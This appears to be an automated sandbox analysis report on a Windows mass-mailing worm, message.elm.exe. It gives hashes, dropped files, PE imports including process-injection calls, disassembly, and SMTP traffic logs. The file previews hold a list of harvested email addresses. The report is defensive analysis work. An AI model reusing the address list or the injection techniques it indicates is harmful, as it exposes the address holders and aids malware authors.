SHA-512:	0C5937B9FC54B4A228BE8CCAFF04FD9CC7C494DF183855C7D5DBD9368F574D9DEF2FDB3A79FC129ED6E0F9D269E65E39617E873D80448A3E8A52530BF6C92D9E
Malicious:	false
Reputation:	low
Preview:	macjohnsmith@yahoo.com..................macjohnsmith@hotmail.com................macjohnsmith@yandex.ru..................macjohnsmith@tut.by.....................macjohnsmith@mail.com...................macjohnsmith@bigmir.net.................njhnbkf@gmail.com.......................macjohnsmith@inbox.lv...................ppp@a1plus.at...........................web@telering.at.........................gprs@a1plus.at..........................user@au.au-net.ne.jp....................macjohnsmith@yahoo.com..................macjohnsmith@hotmail.com................macjohnsmith@yandex.ru..................macjohnsmith@tut.by.....................macjohnsmith@mail.com...................macjohnsmith@bigmir.net.................njhnbkf@gmail.com.......................macjohnsmith@inbox.lv...................m@msn.com...............................a_e@msn.com.............................1@msn.com...............................q@msn.com...............................b_xyz@msn.com...........................

C:\Users\user\Desktop\9223.tmp Download File
Process:	C:\Users\user\Desktop\message.elm.exe
File Type:	data
Category:	modified
Size (bytes):	71773
Entropy (8bit):	6.642913466823902
Encrypted:	false
SSDEEP:	1536:4ljnBeRmZGcIJRhiq4wHso+rtEbw+IMF3Yn4IDNOpVR:sjnwoGTtiq4wHso+rtEb9JF3a480R
MD5:	5E002F67AF46F0900790484475ED71F3
SHA1:	9FED25040A8665811C70ADDCE15E181B1FD7D265
SHA-256:	74AE374141791FB87E4B82AC7B0FB0BA3795D649A522A1507AAE7CE16F20A65F
SHA-512:	838200F577570B807D734E86D1430AD737429FA5CA1731BF5D528BF93547AF6BB8963C42E33B2589327C2158465C41D0572A17620FA4C19AD7D6DE2A068F2379
Malicious:	true
Reputation:	low
Preview:	?l#Qr\,Tg B)t?t}-O.C[(jWp=`A.AXf_!8w{O!}.SSIn_Add\iZy6T5'x1<<(VD.y$=\5<LaaG SXqsSIyW6q:9yfV%280(0TGi)7Wj{'1ia5RNOMH{WBU8pM&T;Z_C5HzPj?KeOy9Y.g?".qjHv<sf8_"=][`@p]<H.l_/X&#T.+.PFXRd_Ghx,z)3Z;w;;\|x8C$G4!E0Bgr?#[rH\D=H`Or=H\Mr@Dm.<f[eDL]IS.'Wkr=Jq'\|6wOmg2.'-.NG711;6)Vy }B$vsSM.9\G>WwFd"kGRy&9+wki44s\e .tB]\y->+JB-OoM`M.f?!)5~^.Slc.dTu+U]w-3iPK_{0"XN\|bWF7"I).lAh49-.@=I7hE{#Q}P2FZXUH&R=a:'\|{)jTha]I>z@Zeg`,1.=si6ks.a^C\\n;-e\!lT. _O2In?yix@,d7NI&Y.6[wiC]P(96z)^f-0IOG&_O607`n..S1`4}DZQxIh^0KGVT^E6FF3->ahr`fE-'rD3bno%SCNjRF&=9dcGibjCJ_rWsm.A.&4jrPANYa@x J\|ni=}n?(Pa[/"..,p8@i"]@hc\H903KORoj$\|.q\|kh[$Yw=@Ik\EN8xho\|yd\|m8`-$ZQ{A$c\f^_.}[wLYPL.I,xplUg#lw'=0Nln6/o_h=9O7hV"3q90?s^>h\|@'Y2LZv!bxpQ5Y{@(r"4y1.`/W1PWPuW.3ab8;g,(U^hw'xO?\|@n.t%Y+H+:'=v>~ee"VC(s..]5`OVIvE.g3zG?83?zui_1u:A@\x}DJu1vDaJ28Z,4DCUZ97WU\|DVBo@&GNYlLm4Qy.1x?.XWj.cP3B9h~ImNUzhP0.t\j0'T0VR85/=.?A;#[t^9IiV0\=k:-;wf5wLL8#U}V09 o21~L1n.EKhesry$6w8er9:0LH_VOu)zI`^#q"~.bJEwNV^9qN(i bmQgR%8G"BV3(k8.{V&oRU%~]T<H6)>\qX0[)c\|{!Gk74as1F&

C:\Windows\tserv.exe Download File
Process:	C:\Users\user\Desktop\message.elm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	541674
Entropy (8bit):	3.2726465123670843
Encrypted:	false
SSDEEP:	3072:DFZ5qVGXvEQU+dXmEUy9rfe3kUdKSh7hKNjf7CwhqjEr8IcGN8yGBYPosqkxOqoy:JjqVG/pJZzfwsGX+LOOD1
MD5:	4D2E2B07C40D86E97394EF70F7375DF7
SHA1:	561277766802935E6A08686F1055FB2262EC2BE9
SHA-256:	9DCB43F3989935634739B26A21A9EABE09A3C24BEB2A6D533CAFF12E678CABD7
SHA-512:	3069EB96990BC901352C2B1066F7A1CD5D68D9059693F5BE009EA83EB02461AD49B125A0CE39E2A0014B1B0F90527E379C353D3C238D0A7EAEB93D7F4AEBF609
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 93%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............fr..fr..fr..n...fr..j}..fr..n/..fr.jn/..fr..fs.wfr..j-.fr..j...fr..m,..fr..j(..fr.Rich.fr.................PE..L... ?.E.....................p.......]............@..........................P..................................................P....@..................................................................H...............L............................text............................... ..`.rdata...........0..................@..@.data....(..........................@....rsrc........@....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tserv.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\message.elm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\tserv.wax Download File
Process:	C:\Windows\tserv.exe
File Type:	data
Category:	dropped
Size (bytes):	880
Entropy (8bit):	3.039656900990411
Encrypted:	false
SSDEEP:	12:mUD462KXw3GZoPXGHVcZXWZzI3wh0NnbrYyArVhhtKxG:hDxJvKCqpQzIAh0NnbrzArVhhE4
MD5:	51CB8B02BBE89D76EC54C44E9D898DFE
SHA1:	2A104ECBBEECAE1FF021EB86E99A183A04C1813D
SHA-256:	6097421B390291DE649F4D92A1709739777C5321DEC8129505693E5EFD6423A2
SHA-512:	A8F75520B05C5A4A5CD7C88FB88AC6730A41DC87E79300C753421022AE2004A6B7492BF68497D537C91BFA08275F1AFDA0DABA1F16D6E15D153E64826623632B
Malicious:	false
Reputation:	low
Preview:	macjohnsmith@yahoo.com..................macjohnsmith@hotmail.com................macjohnsmith@yandex.ru..................macjohnsmith@tut.by.....................macjohnsmith@mail.com...................macjohnsmith@bigmir.net.................njhnbkf@gmail.com.......................macjohnsmith@inbox.lv...................ppp@a1plus.at...........................web@telering.at.........................gprs@a1plus.at..........................user@au.au-net.ne.jp....................m@msn.com...............................a_e@msn.com.............................1@msn.com...............................q@msn.com...............................b_xyz@msn.com...........................cq_yoyo@msn.com.........................mak@aol.com.............................wagnerkd@wxyz.com.......................z_y@quatro.br...........................fa@animo.br.............................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	3.2726465123670843
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	message.elm.exe
File size:	541674
MD5:	4d2e2b07c40d86e97394ef70f7375df7
SHA1:	561277766802935e6a08686f1055fb2262ec2be9
SHA256:	9dcb43f3989935634739b26a21a9eabe09a3c24beb2a6d533caff12e678cabd7
SHA512:	3069eb96990bc901352c2b1066f7a1cd5d68d9059693f5be009ea83eb02461ad49b125a0ce39e2a0014b1b0f90527e379c353d3c238d0a7eaeb93d7f4aebf609
SSDEEP:	3072:DFZ5qVGXvEQU+dXmEUy9rfe3kUdKSh7hKNjf7CwhqjEr8IcGN8yGBYPosqkxOqoy:JjqVG/pJZzfwsGX+LOOD1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............fr..fr..fr..n...fr..j}..fr..n/..fr.jn/..fr..fs.wfr..j-..fr..j...fr..m,..fr..j(..fr.Rich.fr.................PE..L... ?.E...

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x425d91
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x45113F20 [Wed Sep 20 13:16:16 2006 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	547cd05356c429dc57b17bf0fd6daf12

Entrypoint Preview

Instruction
push 00000060h
push 0042E598h
call 00007F37CCB4EB64h
mov edi, 00000094h
mov eax, edi
call 00007F37CCB4D9BCh
mov dword ptr [ebp-18h], esp
mov esi, esp
mov dword ptr [esi], edi
push esi
call dword ptr [0042E0ECh]
mov ecx, dword ptr [esi+10h]
mov dword ptr [00432214h], ecx
mov eax, dword ptr [esi+04h]
mov dword ptr [00432220h], eax
mov edx, dword ptr [esi+08h]
mov dword ptr [00432224h], edx
mov esi, dword ptr [esi+0Ch]
and esi, 00007FFFh
mov dword ptr [00432218h], esi
cmp ecx, 02h
je 00007F37CCB4E2BEh
or esi, 00008000h
mov dword ptr [00432218h], esi
shl eax, 08h
add eax, edx
mov dword ptr [0043221Ch], eax
xor esi, esi
push esi
mov edi, dword ptr [0042E0BCh]
call edi
cmp word ptr [eax], 5A4Dh
jne 00007F37CCB4E2D1h
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
cmp dword ptr [ecx], 00004550h
jne 00007F37CCB4E2C4h
movzx eax, word ptr [ecx+18h]
cmp eax, 0000010Bh
je 00007F37CCB4E2D1h
cmp eax, 0000020Bh
je 00007F37CCB4E2B7h
mov dword ptr [ebp-1Ch], esi
jmp 00007F37CCB4E2D9h
cmp dword ptr [ecx+00000084h], 0Eh
jbe 00007F37CCB4E2A4h
xor eax, eax
cmp dword ptr [ecx+000000F8h], esi
jmp 00007F37CCB4E2C0h
cmp dword ptr [ecx+74h], 0Eh
jbe 00007F37CCB4E294h
xor eax, eax
cmp dword ptr [ecx+000000E8h], esi
setne al
mov dword ptr [ebp-1Ch], eax

Rich Headers

Programming Language:

[RES] VS2003 (.NET) build 3077
[ASM] VS2003 (.NET) build 3077
[C++] VS2003 (.NET) build 3077
[ C ] VS2003 (.NET) build 3077
[LNK] VS2003 (.NET) build 3077

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x30204	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x30118	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2f6d0	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2e000	0x24c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2c5a4	0x2d000	False	0.553293185764	data	6.35329657639	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x2e000	0x2efc	0x3000	False	0.361490885417	data	4.95542429842	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x31000	0x28c0	0x1000	False	0.213623046875	data	2.41165732379	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x34000	0x30118	0x31000	False	0.00823600924745	data	0.180194171875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	WriteProcessMemory, VirtualAllocEx, lstrlenA, OpenProcess, Process32Next, Process32First, CreateToolhelp32Snapshot, GetFileAttributesA, lstrcatA, GetSystemDirectoryA, lstrcmpiA, UnmapViewOfFile, GetFileSize, MapViewOfFile, CreateFileMappingA, FindClose, FindNextFileA, lstrcmpA, GetLastError, FindFirstFileA, lstrcpyA, SetFilePointer, ReadFile, GetTimeZoneInformation, GetModuleHandleA, LoadLibraryA, GetModuleFileNameA, GetCurrentDirectoryA, MoveFileExA, CopyFileA, GetOverlappedResult, LockResource, SizeofResource, LoadResource, FindResourceA, ResetEvent, GetVersionExA, HeapReAlloc, IsBadWritePtr, GetVolumeInformationA, DeviceIoControl, DefineDosDeviceA, QueryDosDeviceA, SetEndOfFile, GetProcAddress, CreateRemoteThread, GetCurrentProcess, CreateMutexA, ReleaseMutex, GetProcessHeap, HeapAlloc, Sleep, CloseHandle, GetTempPathA, GetTempFileNameA, WriteFile, CreateProcessA, DeleteFileA, HeapFree, GetLocalTime, CreateThread, CreateEventA, WaitForMultipleObjects, SetEvent, WaitForSingleObject, ExpandEnvironmentStringsA, CreateFileA, GetTickCount, ExitProcess, RtlUnwind, RaiseException, GetStartupInfoA, GetCommandLineA, QueryPerformanceCounter, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, TlsAlloc, SetLastError, TlsFree, TlsSetValue, TlsGetValue, SetUnhandledExceptionFilter, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InterlockedExchange, VirtualQuery, HeapDestroy, HeapCreate, VirtualFree, VirtualAlloc, TerminateProcess, HeapSize, VirtualProtect, GetSystemInfo, LCMapStringA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetStdHandle, UnhandledExceptionFilter, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, IsBadReadPtr, IsBadCodePtr, GetACP, GetOEMCP, GetCPInfo, InitializeCriticalSection, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetStdHandle, FlushFileBuffers
USER32.dll	wsprintfA, MessageBoxA, SetWindowsHookExA
ADVAPI32.dll	RegOpenKeyA, RegEnumKeyExA, InitializeSecurityDescriptor, GetTokenInformation, SetSecurityDescriptorOwner, SetSecurityDescriptorGroup, AllocateAndInitializeSid, GetLengthSid, AddAce, IsValidSecurityDescriptor, QueryServiceStatusEx, OpenSCManagerA, OpenServiceA, CloseServiceHandle, RegDeleteValueA, RegSetValueExA, RegOpenKeyExA, RegQueryValueExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/07/22-15:54:00.610926	TCP	567	POLICY SMTP relaying denied	25	49748	104.47.57.161	192.168.2.3
01/07/22-15:54:00.897986	TCP	567	POLICY SMTP relaying denied	25	49749	77.88.21.249	192.168.2.3
01/07/22-15:54:00.898373	TCP	567	POLICY SMTP relaying denied	25	49751	77.88.21.249	192.168.2.3
01/07/22-15:54:02.416666	TCP	567	POLICY SMTP relaying denied	25	49757	194.152.32.72	192.168.2.3
01/07/22-15:54:02.626853	TCP	567	POLICY SMTP relaying denied	25	49758	194.152.32.73	192.168.2.3
01/07/22-15:54:07.281782	TCP	567	POLICY SMTP relaying denied	25	49765	104.47.57.161	192.168.2.3
01/07/22-15:54:08.095380	TCP	567	POLICY SMTP relaying denied	25	49768	77.88.21.249	192.168.2.3
01/07/22-15:54:08.663690	TCP	567	POLICY SMTP relaying denied	25	49770	77.88.21.249	192.168.2.3
01/07/22-15:54:11.985780	TCP	567	POLICY SMTP relaying denied	25	49777	194.152.32.74	192.168.2.3
01/07/22-15:54:12.345748	TCP	567	POLICY SMTP relaying denied	25	49778	194.152.32.75	192.168.2.3
01/07/22-15:54:27.306665	TCP	567	POLICY SMTP relaying denied	25	49792	104.47.57.161	192.168.2.3
01/07/22-15:54:27.705280	TCP	567	POLICY SMTP relaying denied	25	49794	77.88.21.249	192.168.2.3
01/07/22-15:54:27.826691	TCP	567	POLICY SMTP relaying denied	25	49795	77.88.21.249	192.168.2.3
01/07/22-15:54:30.511960	TCP	567	POLICY SMTP relaying denied	25	49802	194.152.32.72	192.168.2.3
01/07/22-15:54:30.571470	TCP	567	POLICY SMTP relaying denied	25	49803	104.47.17.161	192.168.2.3
01/07/22-15:54:30.722427	TCP	567	POLICY SMTP relaying denied	25	49804	194.152.32.75	192.168.2.3
01/07/22-15:54:33.686426	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.3	8.8.8.8
01/07/22-15:54:33.897024	TCP	567	POLICY SMTP relaying denied	25	49809	104.47.57.33	192.168.2.3
01/07/22-15:54:33.966067	TCP	567	POLICY SMTP relaying denied	25	49811	104.47.58.161	192.168.2.3
01/07/22-15:54:34.475682	TCP	567	POLICY SMTP relaying denied	25	49812	77.88.21.249	192.168.2.3
01/07/22-15:54:34.900903	TCP	567	POLICY SMTP relaying denied	25	49813	77.88.21.249	192.168.2.3
01/07/22-15:54:49.992449	TCP	567	POLICY SMTP relaying denied	25	49826	194.152.32.72	192.168.2.3
01/07/22-15:54:50.205401	TCP	567	POLICY SMTP relaying denied	25	49828	194.152.32.73	192.168.2.3
01/07/22-15:54:50.793985	TCP	567	POLICY SMTP relaying denied	25	49829	104.47.18.225	192.168.2.3
01/07/22-15:54:53.229456	TCP	567	POLICY SMTP relaying denied	25	49831	104.47.70.33	192.168.2.3
01/07/22-15:54:55.122713	TCP	567	POLICY SMTP relaying denied	25	49833	104.47.22.161	192.168.2.3
01/07/22-15:54:56.820376	TCP	567	POLICY SMTP relaying denied	25	49834	104.47.58.161	192.168.2.3
01/07/22-15:54:58.724718	TCP	567	POLICY SMTP relaying denied	25	49835	104.47.58.33	192.168.2.3
01/07/22-15:54:58.792305	TCP	567	POLICY SMTP relaying denied	25	49836	104.47.70.33	192.168.2.3
01/07/22-15:54:59.520640	TCP	567	POLICY SMTP relaying denied	25	49837	104.47.59.161	192.168.2.3
01/07/22-15:55:02.275803	TCP	567	POLICY SMTP relaying denied	25	49839	104.47.70.33	192.168.2.3
01/07/22-15:55:09.047844	TCP	567	POLICY SMTP relaying denied	25	49842	104.47.13.33	192.168.2.3
01/07/22-15:55:11.122456	TCP	567	POLICY SMTP relaying denied	25	49844	104.47.73.161	192.168.2.3
01/07/22-15:55:11.804128	TCP	567	POLICY SMTP relaying denied	25	49846	104.47.73.161	192.168.2.3
01/07/22-15:55:12.197526	TCP	567	POLICY SMTP relaying denied	25	49855	104.47.13.33	192.168.2.3
01/07/22-15:55:12.445282	TCP	567	POLICY SMTP relaying denied	25	49852	104.47.73.161	192.168.2.3
01/07/22-15:55:12.474346	TCP	567	POLICY SMTP relaying denied	25	49853	104.47.73.161	192.168.2.3
01/07/22-15:55:16.850291	TCP	567	POLICY SMTP relaying denied	25	49875	104.47.58.161	192.168.2.3
01/07/22-15:55:18.126061	TCP	567	POLICY SMTP relaying denied	25	49883	104.47.59.161	192.168.2.3
01/07/22-15:55:19.183121	TCP	567	POLICY SMTP relaying denied	25	49890	104.47.59.161	192.168.2.3
01/07/22-15:55:20.732731	TCP	567	POLICY SMTP relaying denied	25	49898	104.47.51.33	192.168.2.3
01/07/22-15:55:44.292321	TCP	567	POLICY SMTP relaying denied	25	49918	104.47.51.110	192.168.2.3
01/07/22-15:55:44.551844	TCP	567	POLICY SMTP relaying denied	25	49922	104.47.57.110	192.168.2.3
01/07/22-15:55:45.079204	TCP	567	POLICY SMTP relaying denied	25	49936	104.47.57.110	192.168.2.3
01/07/22-15:55:45.103711	TCP	567	POLICY SMTP relaying denied	25	49937	104.47.57.110	192.168.2.3
01/07/22-15:55:45.316043	TCP	567	POLICY SMTP relaying denied	25	49943	104.47.56.110	192.168.2.3
01/07/22-15:55:45.850725	TCP	567	POLICY SMTP relaying denied	25	49946	104.47.56.110	192.168.2.3
01/07/22-15:55:48.400060	TCP	567	POLICY SMTP relaying denied	25	49958	104.47.56.110	192.168.2.3
01/07/22-15:55:48.911158	TCP	567	POLICY SMTP relaying denied	25	49961	104.47.51.110	192.168.2.3
01/07/22-15:55:49.837069	TCP	567	POLICY SMTP relaying denied	25	49964	104.47.51.110	192.168.2.3
01/07/22-15:55:52.348398	TCP	567	POLICY SMTP relaying denied	25	49968	104.47.51.110	192.168.2.3
01/07/22-15:56:10.353268	TCP	567	POLICY SMTP relaying denied	25	50004	104.47.17.74	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2022 15:53:54.123224020 CET	49742	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:53:54.125830889 CET	49743	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:53:54.240334034 CET	25	49743	67.195.204.72	192.168.2.3
Jan 7, 2022 15:53:54.240426064 CET	49743	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:53:54.241969109 CET	49743	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:53:54.354132891 CET	25	49743	67.195.204.72	192.168.2.3
Jan 7, 2022 15:53:54.354203939 CET	49743	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:53:54.355596066 CET	25	49743	67.195.204.72	192.168.2.3
Jan 7, 2022 15:53:54.355659008 CET	49743	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:53:54.450987101 CET	49744	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:53:54.477694988 CET	25	49744	108.177.119.26	192.168.2.3
Jan 7, 2022 15:53:54.477858067 CET	49744	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:53:54.478431940 CET	49744	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:53:54.507716894 CET	25	49744	108.177.119.26	192.168.2.3
Jan 7, 2022 15:53:54.507816076 CET	49744	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:53:54.524157047 CET	49745	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:53:54.655217886 CET	25	49745	104.47.57.161	192.168.2.3
Jan 7, 2022 15:53:54.655414104 CET	49745	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:53:54.666474104 CET	49745	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:53:54.700562954 CET	49746	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:53:54.787623882 CET	25	49745	104.47.57.161	192.168.2.3
Jan 7, 2022 15:53:54.787724972 CET	49745	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:53:54.797782898 CET	25	49745	104.47.57.161	192.168.2.3
Jan 7, 2022 15:53:54.797837973 CET	25	49745	104.47.57.161	192.168.2.3
Jan 7, 2022 15:53:54.797981977 CET	49745	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:53:54.798264027 CET	49745	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:53:57.240263939 CET	49742	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:53:57.699784040 CET	49746	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:53:59.898685932 CET	49747	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:54:00.012320995 CET	25	49747	67.195.204.72	192.168.2.3
Jan 7, 2022 15:54:00.012554884 CET	49747	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:54:00.083775043 CET	49748	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:00.126379013 CET	25	49747	67.195.204.72	192.168.2.3
Jan 7, 2022 15:54:00.126678944 CET	49747	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:54:00.214806080 CET	25	49748	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:00.215028048 CET	49748	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:00.240195990 CET	25	49747	67.195.204.72	192.168.2.3
Jan 7, 2022 15:54:00.240226984 CET	25	49747	67.195.204.72	192.168.2.3
Jan 7, 2022 15:54:00.240468979 CET	49747	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:54:00.335062027 CET	49749	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:00.347009897 CET	25	49748	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:00.347239971 CET	49748	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:00.354506016 CET	25	49747	67.195.204.72	192.168.2.3
Jan 7, 2022 15:54:00.354530096 CET	25	49747	67.195.204.72	192.168.2.3
Jan 7, 2022 15:54:00.354686975 CET	49747	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:54:00.354726076 CET	49747	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:54:00.354731083 CET	49747	25	192.168.2.3	67.195.204.72
Jan 7, 2022 15:54:00.355149031 CET	49750	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:00.394294024 CET	25	49749	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:00.394444942 CET	49749	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:00.468463898 CET	25	49747	67.195.204.72	192.168.2.3
Jan 7, 2022 15:54:00.469218969 CET	25	49750	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:00.469331026 CET	49750	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:00.478238106 CET	25	49748	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:00.478739977 CET	25	49748	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:00.478882074 CET	49748	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:00.526271105 CET	49751	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:00.582016945 CET	25	49751	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:00.582197905 CET	49751	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:00.583091974 CET	25	49750	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:00.583259106 CET	49750	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:00.609877110 CET	25	49748	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:00.610925913 CET	25	49748	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:00.611135960 CET	49748	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:00.611138105 CET	25	49748	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:00.611185074 CET	49748	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:00.611191034 CET	49748	25	192.168.2.3	104.47.57.161
Jan 7, 2022 15:54:00.653534889 CET	25	49751	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:00.653677940 CET	49751	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:00.662240028 CET	25	49749	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:00.662494898 CET	49749	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:00.696726084 CET	25	49750	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:00.697408915 CET	25	49750	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:00.697519064 CET	49750	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:00.709295988 CET	25	49751	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:00.709352970 CET	25	49751	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:00.710047960 CET	49751	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:00.721892118 CET	25	49749	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:00.721915007 CET	25	49749	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:00.722037077 CET	49749	25	192.168.2.3	77.88.21.249
Jan 7, 2022 15:54:00.742134094 CET	25	49748	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:00.742157936 CET	25	49748	104.47.57.161	192.168.2.3
Jan 7, 2022 15:54:00.811656952 CET	25	49750	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:00.811686039 CET	25	49750	67.195.204.77	192.168.2.3
Jan 7, 2022 15:54:00.811813116 CET	49750	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:00.811841965 CET	49750	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:00.811855078 CET	49750	25	192.168.2.3	67.195.204.77
Jan 7, 2022 15:54:00.812309980 CET	49752	25	192.168.2.3	67.195.204.79
Jan 7, 2022 15:54:00.813332081 CET	25	49751	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:00.821897984 CET	25	49749	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:00.827605009 CET	25	49749	77.88.21.249	192.168.2.3
Jan 7, 2022 15:54:00.828031063 CET	49749	25	192.168.2.3	77.88.21.249
